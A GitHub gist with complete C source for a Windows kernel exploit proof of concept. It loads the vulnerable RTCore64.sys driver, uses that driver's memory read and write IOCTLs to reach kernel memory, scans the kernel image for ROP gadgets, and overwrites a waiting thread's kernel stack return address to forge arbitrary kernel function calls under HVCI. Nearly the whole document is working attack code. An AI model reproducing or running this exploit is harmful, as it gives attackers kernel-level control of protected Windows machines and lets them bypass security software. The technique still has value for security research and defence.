-
-
Save SkyN9ne/d7befe221bf33bf208b2be73976acb9b to your computer and use it in GitHub Desktop.
Performing arbitrary kernel function calls on HVCI enabled systems with thread context hijacking
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "stdafx.h" | |
// vulnerable driver device name | |
#define EXPL_DEVICE_PATH "\\\\.\\Global\\RTCore64" | |
// vulnerable driver service and file name | |
#define EXPL_DRIVER_NAME "RTCore64.sys" | |
#define EXPL_SERVICE_NAME "RTCore64" | |
// vulnerable driver IOCTL codes | |
#define RTCORE_MEM_READ_CTL 0x80002048 | |
#define RTCORE_MEM_WRITE_CTL 0x8000204c | |
// StackBase and KernelStack field offset | |
#define KTHREAD_StackBase 0x38 | |
#define KTHREAD_KernelStack 0x58 | |
// magic exit code for DummyThread() | |
#define THREAD_EXIT_CODE 0x1337 | |
#include <pshpack1.h> | |
typedef struct _RTCORE_MEM_READ | |
{ | |
PVOID Unknown_0; | |
PVOID Address; | |
PVOID Unknown_1; | |
DWORD ReadSize; | |
DWORD Value; | |
PVOID Unknown_2; | |
PVOID Unknown_3; | |
} RTCORE_MEM_READ, | |
*PRTCORE_MEM_READ; | |
typedef struct _RTCORE_MEM_WRITE | |
{ | |
PVOID Unknown_0; | |
PVOID Address; | |
PVOID Unknown_1; | |
DWORD ReadSize; | |
DWORD Value; | |
PVOID Unknown_2; | |
PVOID Unknown_3; | |
} RTCORE_MEM_WRITE, | |
*PRTCORE_MEM_WRITE; | |
#include <poppack.h> | |
char *GetNameFromFullPath(char *lpszPath) | |
{ | |
char *lpszName = lpszPath; | |
for (size_t i = 0; i < strlen(lpszPath); i++) | |
{ | |
if (lpszPath[i] == '\\' || lpszPath[i] == '/') | |
{ | |
lpszName = lpszPath + i + 1; | |
} | |
} | |
return lpszName; | |
} | |
void DbgMsg(char *lpszFile, int Line, char *lpszMsg, ...) | |
{ | |
va_list arg_list; | |
va_start(arg_list, lpszMsg); | |
int Len = _vscprintf(lpszMsg, arg_list) + MAX_PATH; | |
char *lpszBuff = (char *)M_ALLOC(Len); | |
if (lpszBuff == NULL) | |
{ | |
va_end(arg_list); | |
return; | |
} | |
char *lpszOutBuff = (char *)M_ALLOC(Len); | |
if (lpszOutBuff == NULL) | |
{ | |
M_FREE(lpszBuff); | |
va_end(arg_list); | |
return; | |
} | |
vsprintf(lpszBuff, lpszMsg, arg_list); | |
va_end(arg_list); | |
sprintf(lpszOutBuff, "%s(%d) : %s", GetNameFromFullPath(lpszFile), Line, lpszBuff); | |
// write message into the debug output | |
OutputDebugStringA(lpszOutBuff); | |
HANDLE hStd = GetStdHandle(STD_OUTPUT_HANDLE); | |
if (hStd != INVALID_HANDLE_VALUE) | |
{ | |
DWORD dwWritten = 0; | |
// write message into the console | |
WriteFile(hStd, lpszBuff, lstrlen(lpszBuff), &dwWritten, NULL); | |
} | |
M_FREE(lpszBuff); | |
M_FREE(lpszOutBuff); | |
} | |
int LoadPrivileges(char *name) | |
{ | |
BOOL bRet = FALSE; | |
HANDLE hToken = NULL; | |
TOKEN_PRIVILEGES Privs; | |
LUID Luid; | |
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) | |
{ | |
DbgMsg(__FILE__, __LINE__, "OpenProcessToken() ERROR %d\n", GetLastError()); | |
goto _end; | |
} | |
if (!LookupPrivilegeValueA(NULL, name, &Luid)) | |
{ | |
DbgMsg(__FILE__, __LINE__, "LookupPrivilegeValue() ERROR %d\n", GetLastError()); | |
goto _end; | |
} | |
Privs.PrivilegeCount = 1; | |
Privs.Privileges[0].Luid = Luid; | |
Privs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; | |
if (!AdjustTokenPrivileges(hToken, FALSE, &Privs, sizeof (Privs), NULL, NULL)) | |
{ | |
DbgMsg(__FILE__, __LINE__, "AdjustTokenPrivileges() ERROR %d\n", GetLastError()); | |
goto _end; | |
} | |
bRet = TRUE; | |
_end: | |
if (hToken) | |
{ | |
CloseHandle(hToken); | |
} | |
return bRet; | |
} | |
BOOL ServiceStart(char *lpszName, char *lpszPath) | |
{ | |
BOOL bRet = FALSE; | |
SC_HANDLE hManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); | |
if (hManager) | |
{ | |
// create service for kernel-mode driver | |
SC_HANDLE hService = CreateService( | |
hManager, lpszName, lpszName, SERVICE_START | DELETE | SERVICE_STOP, | |
SERVICE_KERNEL_DRIVER, SERVICE_SYSTEM_START, SERVICE_ERROR_IGNORE, | |
lpszPath, NULL, NULL, NULL, NULL, NULL | |
); | |
if (hService == NULL) | |
{ | |
if (GetLastError() == ERROR_SERVICE_EXISTS) | |
{ | |
// open existing service | |
if ((hService = OpenService(hManager, lpszName, SERVICE_START | DELETE | SERVICE_STOP)) == NULL) | |
{ | |
DbgMsg(__FILE__, __LINE__, "OpenService() ERROR %d\n", GetLastError()); | |
} | |
} | |
else | |
{ | |
DbgMsg(__FILE__, __LINE__, "CreateService() ERROR %d\n", GetLastError()); | |
} | |
} | |
if (hService) | |
{ | |
// start service | |
if (StartService(hService, 0, NULL)) | |
{ | |
bRet = TRUE; | |
} | |
else | |
{ | |
if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) | |
{ | |
// service is already started | |
bRet = TRUE; | |
} | |
else | |
{ | |
DbgMsg(__FILE__, __LINE__, "StartService() ERROR %d\n", GetLastError()); | |
} | |
} | |
CloseServiceHandle(hService); | |
} | |
CloseServiceHandle(hManager); | |
} | |
else | |
{ | |
DbgMsg(__FILE__, __LINE__, "OpenSCManager() ERROR %d\n", GetLastError()); | |
} | |
return bRet; | |
} | |
BOOL ServiceStop(char *lpszName) | |
{ | |
BOOL bRet = FALSE; | |
SC_HANDLE hManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); | |
if (hManager) | |
{ | |
// open existing service | |
SC_HANDLE hService = OpenService(hManager, lpszName, SERVICE_ALL_ACCESS); | |
if (hService) | |
{ | |
SERVICE_STATUS Status; | |
// stop service | |
if (ControlService(hService, SERVICE_CONTROL_STOP, &Status)) | |
{ | |
bRet = TRUE; | |
} | |
else | |
{ | |
DbgMsg(__FILE__, __LINE__, "ControlService() ERROR %d\n", GetLastError()); | |
} | |
CloseServiceHandle(hService); | |
} | |
else | |
{ | |
DbgMsg(__FILE__, __LINE__, "OpenService() ERROR %d\n", GetLastError()); | |
} | |
CloseServiceHandle(hManager); | |
} | |
else | |
{ | |
DbgMsg(__FILE__, __LINE__, "OpenSCManager() ERROR %d\n", GetLastError()); | |
} | |
return bRet; | |
} | |
BOOL ServiceRemove(char *lpszName) | |
{ | |
BOOL bRet = FALSE; | |
SC_HANDLE hManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); | |
if (hManager) | |
{ | |
// open existing service | |
SC_HANDLE hService = OpenService(hManager, lpszName, SERVICE_ALL_ACCESS); | |
if (hService) | |
{ | |
// delete service | |
if (DeleteService(hService)) | |
{ | |
bRet = TRUE; | |
} | |
else | |
{ | |
DbgMsg(__FILE__, __LINE__, "DeleteService() ERROR %d\n", GetLastError()); | |
} | |
CloseServiceHandle(hService); | |
} | |
else | |
{ | |
DbgMsg(__FILE__, __LINE__, "OpenService() ERROR %d\n", GetLastError()); | |
} | |
CloseServiceHandle(hManager); | |
} | |
else | |
{ | |
DbgMsg(__FILE__, __LINE__, "OpenSCManager() ERROR %d\n", GetLastError()); | |
} | |
return bRet; | |
} | |
PVOID GetSystemInformation(SYSTEM_INFORMATION_CLASS InfoClass) | |
{ | |
NTSTATUS Status = 0; | |
ULONG RetSize = 0, Size = 0x100; | |
PVOID Info = NULL; | |
GET_NATIVE(NtQuerySystemInformation); | |
if (f_NtQuerySystemInformation == NULL) | |
{ | |
DbgMsg(__FILE__, __LINE__, "ERROR: Unable to obtain needed functions\n"); | |
return NULL; | |
} | |
while (true) | |
{ | |
RetSize = 0; | |
// allocate memory for system information | |
if ((Info = M_ALLOC(Size)) == NULL) | |
{ | |
DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\n", GetLastError()); | |
return NULL; | |
} | |
// query information | |
if ((Status = f_NtQuerySystemInformation(InfoClass, Info, Size, &RetSize)) == STATUS_INFO_LENGTH_MISMATCH) | |
{ | |
// buffer is too small | |
M_FREE(Info); | |
// allocate more memory and try again | |
Size = RetSize + 0x100; | |
} | |
else | |
{ | |
break; | |
} | |
} | |
if (!NT_SUCCESS(Status)) | |
{ | |
DbgMsg(__FILE__, __LINE__, "NtQuerySystemInformation() ERROR 0x%.8x\n", Status); | |
if (Info) | |
{ | |
// cleanup | |
M_FREE(Info); | |
} | |
return NULL; | |
} | |
return Info; | |
} | |
PVOID GetObjectAddress(HANDLE hObject) | |
{ | |
PVOID Ret = NULL; | |
// query all system handles information | |
PSYSTEM_HANDLE_INFORMATION HandleInfo = (PSYSTEM_HANDLE_INFORMATION)GetSystemInformation(SystemHandleInformation); | |
if (HandleInfo) | |
{ | |
for (DWORD i = 0; i < HandleInfo->NumberOfHandles; i += 1) | |
{ | |
// lookup for pointer to the our object | |
if (HandleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId() && | |
HandleInfo->Handles[i].HandleValue == (USHORT)hObject) | |
{ | |
Ret = HandleInfo->Handles[i].Object; | |
break; | |
} | |
} | |
M_FREE(HandleInfo); | |
} | |
return Ret; | |
} | |
PVOID GetKernelProcAddress(char *lpszProcName) | |
{ | |
PVOID Addr = NULL; | |
// query loaded kernel modules information | |
PRTL_PROCESS_MODULES Info = (PRTL_PROCESS_MODULES)GetSystemInformation(SystemModuleInformation); | |
if (Info) | |
{ | |
HMODULE hImage = NULL; | |
PVOID KernelBase = Info->Modules[0].ImageBase; | |
char szKernelPath[MAX_PATH]; | |
// get kernel file name from NT path | |
char *lpszKernelName = (char *)Info->Modules[0].FullPathName + Info->Modules[0].OffsetToFileName; | |
GetSystemDirectory(szKernelPath, MAX_PATH); | |
strcat(szKernelPath, "\\"); | |
strcat(szKernelPath, lpszKernelName); | |
// load kernel image as dynamic library | |
if ((hImage = LoadLibraryEx(szKernelPath, NULL, DONT_RESOLVE_DLL_REFERENCES)) != NULL) | |
{ | |
// get address of the target function | |
if ((Addr = GetProcAddress(hImage, lpszProcName)) != NULL) | |
{ | |
// calculate an actual address of the target function | |
Addr = (PVOID)((DWORD_PTR)Addr - (DWORD_PTR)hImage + (DWORD_PTR)KernelBase); | |
} | |
else | |
{ | |
DbgMsg(__FILE__, __LINE__, "GetProcAddress() ERROR %d\n", GetLastError()); | |
} | |
FreeLibrary(hImage); | |
} | |
else | |
{ | |
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unable to load kernel image\n"); | |
} | |
M_FREE(Info); | |
} | |
return Addr; | |
} | |
BOOL GetKernelImageInfo(PVOID *pImageAddress, PDWORD pdwImageSize, char *lpszName) | |
{ | |
// query loaded kernel modules information | |
PRTL_PROCESS_MODULES Info = (PRTL_PROCESS_MODULES)GetSystemInformation(SystemModuleInformation); | |
if (Info) | |
{ | |
// return kernel image load address and size | |
*pImageAddress = Info->Modules[0].ImageBase; | |
*pdwImageSize = Info->Modules[0].ImageSize; | |
// get kernel file name from NT path | |
strcpy(lpszName, (char *)Info->Modules[0].FullPathName + Info->Modules[0].OffsetToFileName); | |
M_FREE(Info); | |
return TRUE; | |
} | |
return FALSE; | |
} | |
HANDLE DriverInit(void) | |
{ | |
HANDLE hDevice = NULL; | |
char szFilePath[MAX_PATH]; | |
if (!LoadPrivileges(SE_LOAD_DRIVER_NAME)) | |
{ | |
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: LoadPrivileges() fails\n"); | |
return FALSE; | |
} | |
// make driver file path | |
GetSystemDirectory(szFilePath, MAX_PATH); | |
strcat(szFilePath, "\\drivers\\" EXPL_DRIVER_NAME); | |
// copy driver into the drivers directory | |
if (CopyFile(EXPL_DRIVER_NAME, szFilePath, FALSE)) | |
{ | |
if (ServiceStart(EXPL_SERVICE_NAME, szFilePath)) | |
{ | |
// get handle of the target device | |
if ((hDevice = CreateFile( | |
EXPL_DEVICE_PATH, GENERIC_READ | GENERIC_WRITE, 0, | |
NULL, OPEN_EXISTING, 0, NULL)) != INVALID_HANDLE_VALUE) | |
{ | |
return hDevice; | |
} | |
// remove service | |
ServiceStop(EXPL_SERVICE_NAME); | |
ServiceRemove(EXPL_SERVICE_NAME); | |
} | |
else | |
{ | |
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: ServiceStart() fails\n"); | |
} | |
// remove driver | |
DeleteFile(szFilePath); | |
} | |
else | |
{ | |
DbgMsg(__FILE__, __LINE__, "CopyFile() ERROR %d\n", GetLastError()); | |
} | |
return NULL; | |
} | |
void DriverUninit(HANDLE hDevice) | |
{ | |
char szFilePath[MAX_PATH]; | |
CloseHandle(hDevice); | |
// make driver file path | |
GetSystemDirectory(szFilePath, MAX_PATH); | |
strcat(szFilePath, "\\drivers\\" EXPL_DRIVER_NAME); | |
// remove service | |
ServiceStop(EXPL_SERVICE_NAME); | |
ServiceRemove(EXPL_SERVICE_NAME); | |
// remove driver | |
DeleteFile(szFilePath); | |
} | |
BOOL DriverMemRead(HANDLE hDevice, DWORD dwSize, PVOID Address, PDWORD pdwValue) | |
{ | |
DWORD dwRet = 0; | |
RTCORE_MEM_READ Request; | |
ZeroMemory(&Request, sizeof(Request)); | |
Request.Address = Address; | |
Request.ReadSize = dwSize; | |
// send memory read request to the driver | |
if (DeviceIoControl( | |
hDevice, RTCORE_MEM_READ_CTL, | |
&Request, sizeof(Request), &Request, sizeof(Request), | |
&dwRet, NULL)) | |
{ | |
*pdwValue = Request.Value; | |
return TRUE; | |
} | |
else | |
{ | |
DbgMsg(__FILE__, __LINE__, "DeviceIoControl() ERROR %d\n", GetLastError()); | |
} | |
return FALSE; | |
} | |
BOOL DriverMemReadPtr(HANDLE hDevice, PVOID Address, PVOID *pValue) | |
{ | |
DWORD dwValueLo = 0, dwValueHi = 0; | |
#ifdef _AMD64_ | |
// read 64-bit value | |
if (DriverMemRead(hDevice, sizeof(DWORD), (PUCHAR)Address + 0, &dwValueLo) && | |
DriverMemRead(hDevice, sizeof(DWORD), (PUCHAR)Address + 4, &dwValueHi)) | |
{ | |
*pValue = (PVOID)(((DWORD_PTR)dwValueHi << 32) | (DWORD_PTR)dwValueLo); | |
return TRUE; | |
} | |
#endif | |
return FALSE; | |
} | |
BOOL DriverMemWrite(HANDLE hDevice, DWORD dwSize, PVOID Address, DWORD dwValue) | |
{ | |
DWORD dwRet = 0; | |
RTCORE_MEM_WRITE Request; | |
ZeroMemory(&Request, sizeof(Request)); | |
Request.Address = Address; | |
Request.ReadSize = dwSize; | |
Request.Value = dwValue; | |
// send memory write request to the driver | |
if (DeviceIoControl( | |
hDevice, RTCORE_MEM_WRITE_CTL, | |
&Request, sizeof(Request), &Request, sizeof(Request), | |
&dwRet, NULL)) | |
{ | |
return TRUE; | |
} | |
else | |
{ | |
DbgMsg(__FILE__, __LINE__, "DeviceIoControl() ERROR %d\n", GetLastError()); | |
} | |
return FALSE; | |
} | |
BOOL DriverMemWritePtr(HANDLE hDevice, PVOID Address, PVOID Value) | |
{ | |
#ifdef _AMD64_ | |
// write 64-bit value | |
if (DriverMemWrite(hDevice, sizeof(DWORD), (PUCHAR)Address + 0, (DWORD)(((DWORD_PTR)Value >> 0) & 0xffffffff)) && | |
DriverMemWrite(hDevice, sizeof(DWORD), (PUCHAR)Address + 4, (DWORD)(((DWORD_PTR)Value >> 32) & 0xffffffff))) | |
{ | |
return TRUE; | |
} | |
#endif | |
return FALSE; | |
} | |
BOOL MatchSign(PUCHAR Data, PUCHAR Sign, int Size) | |
{ | |
for (int i = 0; i < Size; i += 1) | |
{ | |
if (Sign[i] == 0xff) | |
{ | |
// 0xff means to match any value | |
continue; | |
} | |
if (Sign[i] != Data[i]) | |
{ | |
// not matched | |
return FALSE; | |
} | |
} | |
return TRUE; | |
} | |
DWORD WINAPI DummyThread(LPVOID lpParam) | |
{ | |
HANDLE hEvent = lpParam; | |
DbgMsg( | |
__FILE__, __LINE__, | |
"Putting thread %x:%x into the waitable state...\n", GetCurrentProcessId(), GetCurrentThreadId() | |
); | |
WaitForSingleObject(hEvent, INFINITE); | |
DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): EXIT\n"); | |
return 0; | |
} | |
int _tmain(int argc, _TCHAR* argv[]) | |
{ | |
HANDLE hThread = NULL, hEvent = NULL, hDevice = NULL; | |
// load loldriver | |
if ((hDevice = DriverInit()) == NULL) | |
{ | |
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: DriverInit() fails\n"); | |
goto _end; | |
} | |
DbgMsg(__FILE__, __LINE__, "Kernel driver successfully loaded\n"); | |
PVOID KernelAddr = NULL; | |
DWORD dwKernelSize = 0; | |
char szKernelName[MAX_PATH]; | |
// get kernel address | |
if (!GetKernelImageInfo(&KernelAddr, &dwKernelSize, szKernelName)) | |
{ | |
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: GetKernelImageInfo() fails\n"); | |
goto _end; | |
} | |
DbgMsg(__FILE__, __LINE__, "Kernel is at "IFMT", image size is 0x%x\n", KernelAddr, dwKernelSize); | |
PVOID RopAddr_1, RopAddr_2 = NULL; | |
PVOID f_ZwTerminateThread = NULL; | |
PVOID f_PsGetCurrentProcessId = NULL; | |
if ((f_PsGetCurrentProcessId = GetKernelProcAddress("PsGetCurrentProcessId")) == NULL) | |
{ | |
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unable to find nt!PsGetCurrentProcessId() address\n"); | |
goto _end; | |
} | |
// load kernel image as dynamic library | |
HMODULE hImage = LoadLibraryEx(szKernelName, NULL, DONT_RESOLVE_DLL_REFERENCES); | |
if (hImage) | |
{ | |
PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS) | |
RVATOVA(hImage, ((PIMAGE_DOS_HEADER)hImage)->e_lfanew); | |
PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER) | |
RVATOVA(&pHeaders->OptionalHeader, pHeaders->FileHeader.SizeOfOptionalHeader); | |
for (DWORD i = 0; i < pHeaders->FileHeader.NumberOfSections; i += 1) | |
{ | |
// check for the code sectin | |
if ((pSection->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0 && | |
(pSection->Characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0) | |
{ | |
for (DWORD n = 0; n < pSection->Misc.VirtualSize - 0x100; n += 1) | |
{ | |
DWORD Ptr = pSection->VirtualAddress + n; | |
/* | |
Signature of nt!_guard_retpoline_exit_indirect_rax() used as | |
ROP gadget to control function argument registers. | |
*/ | |
UCHAR Sign_1[] = "\x48\x8b\x44\x24\x20" // mov rax, [rsp+0x20] | |
"\x48\x8b\x4c\x24\x28" // mov rcx, [rsp+0x28] | |
"\x48\x8b\x54\x24\x30" // mov rdx, [rsp+0x30] | |
"\x4c\x8b\x44\x24\x38" // mov r8, [rsp+0x38] | |
"\x4c\x8b\x4c\x24\x40" // mov r9, [rsp+0x40] | |
"\x48\x83\xC4\x48" // add rsp, 48h | |
"\x48\xFF\xE0"; // jmp rax | |
// match the signature | |
if (MatchSign(RVATOVA(hImage, Ptr), Sign_1, sizeof(Sign_1) - 1)) | |
{ | |
// calculate an actual kernel address | |
RopAddr_1 = RVATOVA(KernelAddr, Ptr); | |
} | |
/* | |
Second ROP gadget used to reserve an extra space for the | |
stack arguments. | |
*/ | |
UCHAR Sign_2[] = "\x48\x83\xC4\x68" // add rsp, 68h | |
"\xC3"; // retn | |
// match the signature | |
if (MatchSign(RVATOVA(hImage, Ptr), Sign_2, sizeof(Sign_2) - 1)) | |
{ | |
// calculate an actual kernel address | |
RopAddr_2 = RVATOVA(KernelAddr, Ptr); | |
} | |
/* | |
Signature of nt!ZwTerminateThread(), we need this function | |
to gracefully shutdown our dummy thread. | |
*/ | |
UCHAR Sign_3[] = "\x48\x8B\xC4" // mov rax, rsp | |
"\xFA" // cli | |
"\x48\x83\xEC\x10" // sub rsp, 10h | |
"\x50" // push rax | |
"\x9C" // pushfq | |
"\x6A\x10" // push 10h | |
"\x48\x8D\x05\xFF\xFF\xFF\xFF" // lea rax, KiServiceLinkage | |
"\x50" // push rax | |
"\xB8\x53\x00\x00\x00" // mov eax, 53h | |
"\xE9\xFF\xFF\xFF\xFF"; // jmp KiServiceInternal | |
// match the signature | |
if (MatchSign(RVATOVA(hImage, Ptr), Sign_3, sizeof(Sign_3) - 1)) | |
{ | |
// calculate an actual kernel address | |
f_ZwTerminateThread = RVATOVA(KernelAddr, Ptr); | |
} | |
} | |
} | |
pSection += 1; | |
} | |
FreeLibrary(hImage); | |
} | |
else | |
{ | |
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unable to load kernel image\n"); | |
goto _end; | |
} | |
if (RopAddr_1 == NULL || RopAddr_2 == NULL) | |
{ | |
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unable to find ROP gadget addresses\n"); | |
goto _end; | |
} | |
if (f_ZwTerminateThread == NULL) | |
{ | |
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unable to find nt!ZwTerminateThread() address\n"); | |
goto _end; | |
} | |
DbgMsg(__FILE__, __LINE__, "ROP gadget #1 address is "IFMT"\n", RopAddr_1); | |
DbgMsg(__FILE__, __LINE__, "ROP gadget #2 address is "IFMT"\n", RopAddr_2); | |
DbgMsg(__FILE__, __LINE__, "nt!ZwTerminateThread() is at "IFMT"\n", f_ZwTerminateThread); | |
// create waitable event | |
if ((hEvent = CreateEvent(NULL, FALSE, FALSE, NULL)) == NULL) | |
{ | |
DbgMsg(__FILE__, __LINE__, "CreateEvent() ERROR %d\n", GetLastError()); | |
goto _end; | |
} | |
// create dummy thread | |
if ((hThread = CreateThread(NULL, 0, DummyThread, hEvent, 0, NULL)) == NULL) | |
{ | |
DbgMsg(__FILE__, __LINE__, "CreateThread() ERROR %d\n", GetLastError()); | |
goto _end; | |
} | |
Sleep(1000); | |
// get _KTHREAD address by handle | |
PVOID pThread = GetObjectAddress(hThread); | |
if (pThread == NULL) | |
{ | |
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: GetObjectAddress() fails\n"); | |
goto _end; | |
} | |
DbgMsg(__FILE__, __LINE__, "_KTHREAD is at "IFMT"\n", pThread); | |
PVOID StackBase = NULL, KernelStack = NULL; | |
// get stack base of the thread | |
if (!DriverMemReadPtr(hDevice, RVATOVA(pThread, KTHREAD_StackBase), &StackBase)) | |
{ | |
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: DriverMemReadPtr() fails\n"); | |
goto _end; | |
} | |
// get stack pointer of the thread | |
if (!DriverMemReadPtr(hDevice, RVATOVA(pThread, KTHREAD_KernelStack), &KernelStack)) | |
{ | |
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: DriverMemReadPtr() fails\n"); | |
goto _end; | |
} | |
DbgMsg(__FILE__, __LINE__, "Thread kernel stack base is at "IFMT"\n", StackBase); | |
DbgMsg(__FILE__, __LINE__, "Thread kernel stack pointer is at "IFMT"\n", KernelStack); | |
PVOID RetAddr = NULL; | |
PVOID Ptr = (PVOID)((PUCHAR)StackBase - sizeof(PVOID)); | |
// walk over the kernel stack | |
while (Ptr > KernelStack) | |
{ | |
PVOID Val = 0; | |
// read stack value | |
if (!DriverMemReadPtr(hDevice, Ptr, &Val)) | |
{ | |
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: DriverMemReadPtr() fails\n"); | |
goto _end; | |
} | |
// check for return address to nt!KiSystemServiceCopyEnd() | |
if ((DWORD_PTR)Val > (DWORD_PTR)KernelAddr && | |
(DWORD_PTR)Val < (DWORD_PTR)KernelAddr + dwKernelSize) | |
{ | |
RetAddr = Ptr; | |
break; | |
} | |
// go to the next stack location | |
Ptr = (PVOID)((PUCHAR)Ptr - sizeof(PVOID)); | |
} | |
if (RetAddr == NULL) | |
{ | |
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unable to locate return address\n"); | |
goto _end; | |
} | |
DbgMsg(__FILE__, __LINE__, "Return address was found at "IFMT"\n", RetAddr); | |
#define STACK_PUT(_offset_, _val_) \ | |
\ | |
if (!DriverMemWritePtr(hDevice, RVATOVA(RetAddr, (_offset_)), (PVOID)(_val_))) \ | |
{ \ | |
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: DriverMemWritePtr() fails\n"); \ | |
goto _end; \ | |
} | |
// hijack the return address | |
STACK_PUT(0x00, RopAddr_1); | |
// forge nt!PsGetCurrentProcessId() function call | |
STACK_PUT(0x08 + 0x20, f_PsGetCurrentProcessId); | |
// reserve an extra space for the stack arguments | |
STACK_PUT(0x50, RopAddr_2); | |
// put the next function call | |
STACK_PUT(0xc0, RopAddr_1); | |
// forge nt!ZwTerminateThread() function call | |
STACK_PUT(0xc8 + 0x20, f_ZwTerminateThread); | |
STACK_PUT(0xc8 + 0x28, hThread); | |
STACK_PUT(0xc8 + 0x30, THREAD_EXIT_CODE); | |
// put thread into the ready state | |
SetEvent(hEvent); | |
WaitForSingleObject(hThread, INFINITE); | |
DWORD dwExitCode = 0; | |
GetExitCodeThread(hThread, &dwExitCode); | |
// check for the magic exit code set by forged call | |
if (dwExitCode == THREAD_EXIT_CODE) | |
{ | |
printf("Forged kernel function call was successfully executed\n"); | |
} | |
else | |
{ | |
printf("Something went wrong\n"); | |
} | |
_end: | |
if (hEvent) | |
{ | |
CloseHandle(hEvent); | |
} | |
if (hThread) | |
{ | |
CloseHandle(hThread); | |
} | |
if (hDevice) | |
{ | |
DriverUninit(hDevice); | |
} | |
printf("Press eny key to quit\n"); | |
_getch(); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment